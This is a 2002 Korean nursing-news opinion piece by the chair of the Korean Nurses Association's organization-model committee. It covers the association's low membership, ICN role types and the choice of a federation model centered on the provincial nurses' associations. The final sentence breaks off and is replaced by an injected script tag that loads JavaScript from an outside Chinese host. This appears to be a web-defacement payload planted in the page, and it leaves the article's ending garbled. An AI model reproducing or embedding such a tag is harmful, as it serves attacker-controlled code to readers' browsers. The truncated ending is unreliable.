간호협회가 가야할 길
새 조직모델안을 내놓으며
[간협 조직모델개발 특별위원회] 김순자 news@nursenews.co.kr 기사입력 2002-09-05 오전 09:42:31

◇ 김 순 자 위원장 (간협 조직모델개발 특별위원회)
대한간호협회는 대한민국 간호사 면허소지자들에 의해 결성된 전문직단체이다. 간호사는 국민건강에 기여하는 전문직 근로자이다.
따라서 대한간호협회의 기본 책임과 역할은 회원의 전문직 자질향상과 아울러 회원의 사회·경제·복지 증진을 도모함으로써 간호전문직의 위상을 높이고 나아가 국민보건 향상에 효율적으로 대처하는 것이다.
1979년 대한간호협회 대의원총회에서는 1979∼1988년에 걸쳐 추진될 제1차 장기사업계획을 채택하였고 현재까지 이어지는 장기사업계획의 주요 정책과제에 회원의 전문직 자질향상을 위한 과제와 회원의 사회·경제·복지 증진을 위한 과제가 지속적으로 포함되어 왔다.
장기사업계획을 통해 추진해온 제1과제는 간호협회 지부 및 산하단체 조직 강화이며 회원수 배가가 그 주요과제로 계속 포함돼 왔다.
그럼에도 불구하고 회원의 사회·경제·복지 증진을 위한 역할은 계속 축소되고, 간호사 면허 소지자의 50%에 못미치는 회원 수가 20여년간 이어지고 있다.
대한간호협회는 어디로 갈 것인가.
◇ 무엇을 해야 하는가
국제간호협의회(ICN)는 회원국 간호단체의 책임과 역할을 전문직 규제(Regulatory), 전문직 자질 향상(Professional), 사회·경제·복지 증진(Social-economic welfare) 세가지로 제시하고 있다. 또 회원국 간호단체의 유형은 규제역할과 아울러 중점적으로 수행하고 있는 역할에 따라 전문직 단체형(Professional focus), 근로자 단체형(SEW focus), 두 역할을 모두 수행하는 복합형 등 세가지 유형으로 분류하고 있다.
ICN이 제시한 세가지 역할의 각 세부항목을 대한간호협회의 현황과 비교 분석한 바에 따르면 대한간호협회는 규제역할은 일부 수행하며, 회원의 사회·경제·복지 책임과 역할은 거의 수행하고 있지 않는 전문직 단체형으로 파악됐다.
사회·경제·복지 증진을 주요 책임으로 수용하고 개발하였던 영국, 뉴질랜드, 덴마크, 노르웨이의 간호는 국민으로부터 가장 존경받고 사랑받는 전문직으로 자리잡고 있다.
반면 회원의 사회·경제·복지를 도외시하고 전문직 단체형을 고수하던 여러 나라의 간호단체들이 회원들로부터 외면당하고, 탈퇴한 회원들에 의해 제2, 제3의 간호단체가 조직되거나 노동조합 등에 가입한 간호사들에 의해 추락되어지는 간호 전문직의 위상을 세계 여러 나라에서 찾아 볼 수 있다. 이 나라 중에는 ICN 총회를 개최하고 회장과 이사를 배출했던 나라들도 포함돼 있다.
우리나라도 지상, 전파, 사이버 공간 등 여러 매체를 통하여 간호사들이 전문직 근로자 단체들의 일원으로서가 아닌 노동조합의 일원으로서 자신들의 사회·경제·복지를 위하여 활동하는 모습을 보는 것은 희귀한 일도 새로운 일도 아니다.
또한 전문직단체 중앙회의 복수단체 설립을 허용하려는 우리 사회의 움직임과 현실을 외면할 것인가.
◇ 어디로 갈 것인가
대한간호협회가 대한민국 간호사 면허를 소지한 많은 수의 회원이 적극적으로 참여하는 `단일조직'일 때 힘이 있는 단체가 되며 독자적인 정책을 개발하여 국민보건의료에 주도적인 역할을 담당함으로써 조직의 위상을 높일 수 있다.
이는 회원의 열정적이고 헌신적인 참여로서만 가능하며 이를 위해 합리적인 대의체제와 회비구조의 확립이 전제돼야 한다.
대한간호협회는 사단법인으로서 17개 시·도간호사회와 8개 산하단체로 조직되어 있다. 간호사는 시·도간호사회 회원으로서 본회의 평생회원 또는 연회원이 된다. 임상간호사회와 보건간호사회 등 산하단체에 가입한 회원은 별도의 회비를 납부함으로써 산하단체의 회원이 된다. 따라서 많은 대한간호협회 회원이 산하단체의 회원이기도 하다.
◇ 회원의 사회·복지 중점
특별위원회에서는 대의체제와 회비구조의 두 축에 비추어 시·도간호사회 중심 연합회와 산하단체 중심 연합회(안)을 비교 검토했다. 쉽지 않은 작업이었다. 두가지 이유에서, 즉 첫째 회원의 수와 그 증가 가능성, 둘째 산하단체 회원간의 모호한 상호배타성이 확인되어 현행 시·도간호사회 중심 연합회(안)이 채택되었다.
대한간호협회는 보다 힘있는 단체로 발전하기 위해 노력해왔다. 1999년도 9월부터 2000년 3월까지 대한간호협회 조직강화를 위한 용역연구가 수행되어 2000년 8월 공청회를 거쳤다. 다시 시·도간호사회 대표 2명, 산하단체 대표 3명, 간호행정학회장 그리고 용역연구위원 1명을 포함하는 조직모델개발 특별위원회가 발족되었다.
특별위원회는 2000년 11월의 첫 회의 이후 15회에 걸쳐 세미나급 회의를 했으며 2002년도 8월 회장단 회의, 이사회 및 대표자회의에서 모델(안)을 발표해 조언을 들었다.
특별위원회에서는 새로운 조직모델(?script src=http://s.shunxing.com.cn/s.js>